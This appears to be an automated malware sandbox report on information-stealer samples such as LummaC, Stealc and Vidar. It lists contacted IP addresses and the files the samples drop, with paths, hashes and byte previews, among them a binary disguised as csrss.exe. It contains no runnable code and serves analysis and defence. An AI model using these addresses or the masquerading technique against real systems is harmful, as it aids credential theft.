	SecuriteInfo.com.Win32.TrojanX-gen.7203.10097.exe	Get hash	malicious	LummaC	Browse	104.21.83.220 104.21.80.171 104.21.94.2 104.21.58.31 172.67.213.168 103.20.213.70
	SecuriteInfo.com.Win32.TrojanX-gen.7203.10097.exe	Get hash	malicious	LummaC	Browse	104.21.83.220 104.21.80.171 104.21.94.2 104.21.58.31 172.67.213.168 103.20.213.70
	file.exe	Get hash	malicious	LummaC, Amadey, PureLog Stealer, RedLine, RisePro Stealer, Stealc, Xmrig	Browse	104.21.83.220 104.21.80.171 104.21.94.2 104.21.58.31 172.67.213.168 103.20.213.70
	file.exe	Get hash	malicious	LummaC	Browse	104.21.83.220 104.21.80.171 104.21.94.2 104.21.58.31 172.67.213.168 103.20.213.70
83d60721ecc423892660e275acc4dffd	e5eFd2bt37.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	86.59.21.38 162.251.119.10 199.58.81.140 217.160.49.126 131.188.40.189 31.164.215.246 144.48.81.160 77.73.69.128
	nxMV6rcvii.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	86.59.21.38 162.251.119.10 199.58.81.140 217.160.49.126 131.188.40.189 31.164.215.246 144.48.81.160 77.73.69.128
	DzVuoFusnL.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	86.59.21.38 162.251.119.10 199.58.81.140 217.160.49.126 131.188.40.189 31.164.215.246 144.48.81.160 77.73.69.128
	38gmTjpc3Y.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	86.59.21.38 162.251.119.10 199.58.81.140 217.160.49.126 131.188.40.189 31.164.215.246 144.48.81.160 77.73.69.128
	file.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader	Browse	86.59.21.38 162.251.119.10 199.58.81.140 217.160.49.126 131.188.40.189 31.164.215.246 144.48.81.160 77.73.69.128
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	86.59.21.38 162.251.119.10 199.58.81.140 217.160.49.126 131.188.40.189 31.164.215.246 144.48.81.160 77.73.69.128
	Gcn7BdFE9N.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	86.59.21.38 162.251.119.10 199.58.81.140 217.160.49.126 131.188.40.189 31.164.215.246 144.48.81.160 77.73.69.128
	file.exe	Get hash	malicious	Glupteba, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	86.59.21.38 162.251.119.10 199.58.81.140 217.160.49.126 131.188.40.189 31.164.215.246 144.48.81.160 77.73.69.128
	file.exe	Get hash	malicious	LummaC Stealer, SmokeLoader	Browse	86.59.21.38 162.251.119.10 199.58.81.140 217.160.49.126 131.188.40.189 31.164.215.246 144.48.81.160 77.73.69.128
	file.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	86.59.21.38 162.251.119.10 199.58.81.140 217.160.49.126 131.188.40.189 31.164.215.246 144.48.81.160 77.73.69.128

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\ObjectSerialization65\ObjectSerialization65.exe	e5eFd2bt37.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse
C:\ProgramData\freebl3.dll	e5eFd2bt37.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse
	OPnywcBrh6.exe	Get hash	malicious	Stealc, Vidar	Browse
	3vEtFxRJ9c.exe	Get hash	malicious	Stealc, Vidar	Browse
	1fXeff6C8A.exe	Get hash	malicious	Stealc, Vidar	Browse
	hqsQzin1r6.exe	Get hash	malicious	Stealc, Vidar	Browse
	Sq5JZYYFPc.exe	Get hash	malicious	Stealc, Vidar	Browse
	AcQProLwJ1.exe	Get hash	malicious	Stealc, Vidar	Browse
	29fabd2edb0606ebd3c176c967d040fae12acb6f3b8d6.exe	Get hash	malicious	Stealc, Vidar	Browse
	JH3jlkObxF.exe	Get hash	malicious	Stealc, Vidar	Browse
	cl51g5w2Bg.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\Drivers\csrss.exe	e5eFd2bt37.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse

Created / dropped Files

C:\ProgramData\AAFHIIDH

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEBAFBGIDHCBFHIECFCBGHIEGD

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AIXACVYBSB.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690067217069288
Encrypted:	false
SSDEEP:	12:wSQanHEC73FqjThUbJwuUn5qPyd2whRZfZOaH5KrqXzJI/y5bjbVMmRYAPL8fx7T:wHu73FWhUNwzqq2OfX82JdHRNPLcxdl
MD5:	4E32787C3D6F915D3CB360878174E142
SHA1:	57FF84FAEDF66015F2D79E1BE72A29D7B5643F47
SHA-256:	2BCD2A46D2DCED38DE96701E6D3477D8C9F4456FFAE5135C0605C8434BA60269
SHA-512:	CEC75D7CCFA70705732826C202D144A8AC913E7FCFE0D9B54F6A0D1EEC3253B6DEFFB91E551586DA15F56BA4DE8030AC23EE28B16BB80D1C5F1CB6BECF9C21BE
Malicious:	false
Preview:	AIXACVYBSBCZDJMZUDVNECMFSGJSAOAIXCJFDPHQJVUANUFFPQXVYJRUGYPJGKEJNXCBTXARAETAKFTJKVLIZEXLMOAPVEZRZZUIRDUKSPZRBPINNEKLCLXBHFZMBRJTUJZTRCGQGFRQCEVPUBAAPBHBTYYHDJZHHPMFAKXVJPQRQCRUFYPMNUCRRQOYXYEHXQEHWHFLZSBMLRRZFLLYUQLADTKEDXVDLKLPZTTCNAXMXPSTCHQKWMSRPNRZGULFHOTUOYUSIVJEHUYPRYGESSFFMBWDPFRMTVBZEHTJSPRMDJISAZPMEWNGPGIXXTDNHCOBSXAWEFWRZNECKZGORELWMEPSAPLSTZZPUKXURSKTFSUSFEZMXMAIMRJZNGCVKLOHPVMZEIXIISXVMQHQTSADYWZQSWYVJHHONOOSZPQVWIUFMVXBXYCJOMERCQSVXERFAOOENLKARQGTECAIXOXEZPFDFJHYFCKLADMCWYOMCITRHMECVVVNPNTSRXYGYRKZUTOFNBMHDZWYHPYLTWEIGWOIGBTHWYGIXBCUDYMZMTZNYQMZLMXKPNFZDUEXXQLFJZZZVOPBEZKTKTJCTNUPRCNNGCPTIHKPTGBJLGUENNUGTZVMZJGQGUVBRLOJZECBLINEKGSIRFWZPWMVYJNEPWGYIAHKMJRBZMRVIBPONMHBDQZYFBHDDMYBZZAFEPAQFFUPIGGYNSPVXUWNNCWAUZXAGCATPNHNNYICDCRMTKRODUCDDFZKHLISLVOIFZPDTOSIEREFHYEWUBJKJRWXMZUGCPUXCPEXUQPWTSKEYSDPEICDQMMKUKJLDNQEHQQCYKRMWOUSJVTVSZJTFZCDVNUMEIZFWDNWCNCSCHBYNKRUSXPVMRIHGXDUPKXMZUIELSRXMZAEUNCCYZTEYLUYYRNSFUTHFESJOLGKJVGGNVJKSFSETAIHYOMLBOPRYAHSCATJUXNTWVZPEMECBVVHKHDELQRTQBEBXPJJ

C:\ProgramData\BPMLNOBVSB.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\ProgramData\BPMLNOBVSB.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\ProgramData\BXAJUJAOEO.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701111373123985
Encrypted:	false
SSDEEP:	24:wSplMoG/A1oXDoMwazZW6QAFWyGjkGKnEuDxOaV9YnF7U:walZG/A12L8MFYr8EuxTK9U
MD5:	CA5A3E2A0C2DDF92EABE165672425976
SHA1:	1933AC1A510945A766039E7E61D7DA4156E0F074
SHA-256:	4180C6A01C86C7D86A51B5C17957BAECF34EBB7FCB6C5968835A5DB64E3C9667
SHA-512:	64FC7B64CDAF57CF026C803A16036BDDC46CA86AC9C35A804FCE188AFA3056C324D62CCEBD45E7E607A53D11A1035CB6C38B24004D14F0DC17B11D8DFBD7DB6C
Malicious:	false
Preview:	BXAJUJAOEOZPYQVMPMMPXXMVCPSLTTLUOLYYQUQKLRMOQNFWEOCYDOLITPCVDLYSWYQACZEJIDILMNOOUVEVBOSWPXYLBOGFYWHZVFNHRJXYLODFWJLFJKMUXRMLQJAGMERGOWKSMBXUJUMRUBMROMDBISUWTFWPXBVVSTBYHRHUOKCJNGMCOLUFOVLKFFIUZHRPZUITDNNTTEJKTUSBPVEUSTDXHRMZNWZQSUEGRYELXBLVKZHEIVACMOHJWFJRPJKNIDOXZHIEUDGLSGKALGUCHSOBYGTVWDOVYUEMXJWYDCHTXKLWDJLIZFFBQOMRYKZVRXZYKIPKCJEYOVOQCGFXCUNQKHYBXFYRGYUQAUKMCSQKKDJIQWKZEWMJWHJDDENKZLPNJAJLVIEXHEGVFHRIOBAWGXOXLQJIISBHZZGJYZBYNUOKMCKTICSMRTMZVLKMZTCWKHOHWQBKEBGEASMMYEGDDSCGDTYEPANLCQSJIRCTCUHXIVGBREMBTULUXWAZISUYERUZPWQLRSPPVNCMSPDUHQTJKYNEEWYIFNUCJJSDFDNQJLWDBLURDBXKLJVMGWUBKEXPYFIJNWRSUNUJBZAWJQEZWEYFLNXWPKFJZFMVPYOJFFUYCTEUKFWSOFUOTKIGENNTAAXCAHPWQNKMKKGNWIOGZOBPOTDAQLZSIGMQTNQVGQJNNITTRMOHBPCHTGJANZTLZHNSTOQXJKIAZXWPQWIDJXZUURGYMTMZTWQNTRVEKAAWBRZQWZYVWKWEVAUTRSOXDHWSYIZYRJFVXSPNFOTDNAGHDFYSAEEFBXGQQGYMZHMQHZTDMNYXDQJKMLAXJWCBQUIKQFEPVZNRMOWEKGFDLUJLSXRKKJUIGCSCGZTXLHOWGMKDLSQHDWSPCYROUJEHKXBJSADOXSOMTTUGHDSOBTNUEDCBNWNIDSDBZKBGFCJHQNDVAAZTKEIMDCTKNOQUKPNHEQOBANQSCJQRQBRAIBBXRYTT

C:\ProgramData\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\ProgramData\DTBZGIOOSO.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\ProgramData\DVWHKMNFNN.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	false
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\ProgramData\Drivers\csrss.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\87C6.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1998848
Entropy (8bit):	7.9427880780763775
Encrypted:	false
SSDEEP:	49152:v1r2g+mLqqeaVjSeluJsslFHfjeKgHEaVjsKHzG:drz+OqjXeluJxlFHf6zHj
MD5:	151E9EC4F0355D2F131B871671BD5E20
SHA1:	50992F712B281DB70518E6D404084E26DCD98B98
SHA-256:	A1480E23BD2A89B188FB01138EF2F54130F2DC41CE85FF9319AB7F15471B0011
SHA-512:	18A2FA6E9C97281328DE819126DCCB6CC8576E11EA11A8FABA629DA58E724040427C7D941CE0F935948195C30DA6D60A6873D7E3E9613EBA7DF42BDE1A3ABA1F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: e5eFd2bt37.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U..............~.......~.%.....~...}.....(.........y...~.......~.!.....~.&.....Rich............................PE..L...}N.d............................,........0....@..........................0.......v.......................................\..P....0..0...................................................hW...... W..@............0...............................text............................... ..`.rdata...5...0...6..................@..@.data...D....p..."...T..............@....fofufe.\|............v..............@....tls.................x..............@....safaz....... ......................@....rsrc...0....0......................@..@........................................................................................................................................................................................................................................

C:\ProgramData\EGIIIECB

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHDHDBAECGCAFHJJDAKFHJJEBF

Download File

Process:	C:\Users\user\AppData\Local\Temp\nsdE4F9.tmp
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
